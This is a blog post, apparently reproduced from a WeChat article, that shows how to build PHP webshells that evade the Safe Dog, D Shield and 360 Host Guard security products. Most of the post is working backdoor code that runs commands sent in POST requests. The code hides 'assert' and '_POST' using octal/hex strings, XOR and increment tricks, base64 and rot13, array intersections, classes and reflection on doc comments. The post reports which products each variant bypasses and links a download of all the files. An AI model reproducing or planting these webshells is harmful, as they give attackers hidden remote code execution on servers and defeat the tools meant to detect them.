banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

webshell_bypass Safe Dog, D Shield

Introduction#

I don't know what's going on, but recently Freebuf and Hetian Zhihui have been publishing articles on bypassing WAF. Generally speaking, these are usually dead on arrival, and they only dare to publish one occasionally.

However, there have been consecutive days of bypass articles recently, so let's document this.

Original source: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ

This article is a reproduction of the original text, infringement will be deleted.

Environment Configuration and Understanding Webshell#

image

image

Regarding the configuration of Safe Dog in phpstudy on Windows, there is a pit here. When installing Safe Dog, a configuration interface will pop up:

image

Please ignore the red text inside. For Win7, first set phpstudy to service mode. After the Apache service appears in services, stop phpstudy, then manually start the Apache service, and Safe Dog can be installed.

For Win10, if you set phpstudy to system service mode, you will not see the Apache service in services.msc. You need to install it manually (cmd):

  • cd C:\phpStudy\PHPTutorial\Apache\bin
  • httpd.exe -k install -n apache2.4

Then start the apache2.4 service, and Safe Dog will recognize it.

Before we start bypassing, let's first understand the composition of webshell:

image

No matter how webshell changes, it must meet the two conditions in the diagram, so bypassing WAF is achieved by changing these two conditions.

Let's first test the detection mechanism of WAF. We prepare the following three files:

php_1.php: <?php eval($_POST['a']);?>
php_2.php:

<?php
$a = "phpinfo();";
eval($a);?>

php_3.php: <?php $_POST['a'];?>

Let's check with Safe Dog:

image

The sensitive characters with eval and the sensitive parameter passing of $_POST did not trigger any alerts, which suggests that part of the WAF mechanism is parameter tracking and comprehensive judgment.

Bypass#

  1. Keyword Bypass

PHP is a very powerful language that supports various transformations of strings very well.

We can use base conversions, hexadecimal, octal, etc.

<?php

$a="\141";# Octal a
$a .= "\163";# Octal s
$a .= "\x73";# Hexadecimal s
$a .= "\x65";# Hexadecimal e
$a .= "\x72";# Hexadecimal r
$a .= "\164";# Hexadecimal t
@$a($_POST["a"]);

?>

Why use assert instead of eval: eval is not a function and does not support this kind of call.

This bypasses Safe Dog but cannot pass D Shield:

image

  1. Arithmetic Operations

We can also obtain the desired letters through increment, XOR, negation, etc., and then combine them into functions for dynamic calls.

For example, by defining a and then performing increment operations to get other desired characters, but note that decrement cannot be performed.

image

However, the characters we extract this way are only lowercase characters, and we cannot obtain what we want: _POST, _GET.

In PHP, after performing XOR operations on two strings, the result is still a string.

So here we can use XOR and negation to obtain the uppercase letters we want.

Let's write a PHP script:

<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(",  ")",  "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); // Special characters
$alength=count($a);

for($x=0;$x<$alength;$x++) {

for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; // Output the XOR results
}}
?>

Throw in all the special characters you can think of to get the XOR results, and then extract the characters we want. Here we will take _POST as an example.

_ can be obtained by XORing | and #:

image

Then find them one by one, and the result is:

image

Combining with our previous increment, we can get the following code:

<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>

Testing this, it can pass Safe Dog, but cannot pass D Shield. However, our security level has dropped, which is not a big problem, let's continue:

image

  1. Encoding and Concatenation

By using base64 and rot13 encoding, we can dynamically call functions to get the following code:

<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>

This passes Safe Dog smoothly, but still does not pass D Shield, and our level has dropped again to level two:

image

We can further combine what was mentioned above, breaking the detection rules with increment operations and parameter passing.

<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>

image

We can see that we have once again passed Safe Dog without pressure, and the D Shield level has dropped again to level one, only reporting a variable function. For this, we can modify it. This time we can use an array method, going through multiple transformations, and adding parameter obfuscation to achieve the bypass.

The code is as follows:

<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);// Get array intersection
$a = array_keys($result);// Get array keys
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);// Obfuscate rules
?>

image

We can see that we have bypassed Safe Dog, D Shield, Deep Security, and 360 Host Guard.

Of course, there are far more methods than this; PHP is indeed very flexible.

  • uopz_function()
  • uasort()
  • uksort()
  • array_uintersect_uassoc()
  • array_udiff_assoc()
    etc., can all be used to bypass, and you can try the usage yourself.

The expert also provided two other ideas:

This one-liner appeared in the Pengcheng Cup offline competition, where we obtain keywords through increment and then define a class, with a self-calling function within the class to achieve bypass.

<?php
error_reporting(0);// Remove error display
class Foo  // Create a class named FOO
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); // Call Bar
        $b($c);
    }
    function Bar()
    {
    	$__='a';
        $a1=$__; //$a1=a;
		$__++;$__++;$__++;//$a__=e;
		$a2=$__; //$a2=e;
		$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
		$a3=$__++; //$a3=r;$__=s;
		$a4=$__++; //$a4=s;$__=t;
		$a5=$__;   //$a5=$__=t;
		$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
        return $a; // Return the value of $a
    }
}
function variable(){
	$_='A';
	$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
	$b1=$_++; //$b1=O;$_=P;
	$b2=$_;   //$b2=$_=P
	$_++;$_++;$_++; //$_=S
	$b3=$_++; //$b3=S;$_=T;
	$b4=$_; //$b4=$_=T;
	$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
	return $b; // Return the value of $b
}
$foo = new Foo(); // Create an object named foo
$funcname = "Variable"; // Assign the value of Variable to the variable funcname
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); // Call $foo->Variable($bb)
?>

Another method is to utilize PHP's reflection mechanism to obtain the content of comments and then piece together assert to execute dynamically, as shown in the code below:

<?php
/**
-
as
-
5
-
se
-
*/
class a{
   function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());// Create a reflection object
$arr = explode("*", $aa->getDocComment());// Get the comments of object a
$str = ereg_replace("-","",$arr[2]);// Get the comments of object a
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>

The effect is as follows:

image

This way can also bypass D Shield and Safe Dog, etc.

The ideas for bypassing also include:

  • Cache writing webshell
  • Callback functions
  • Regular expression matching bypass
  • Anonymous functions

All files mentioned in this article have been packaged: https://www.lanzous.com/i2xe6pa

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.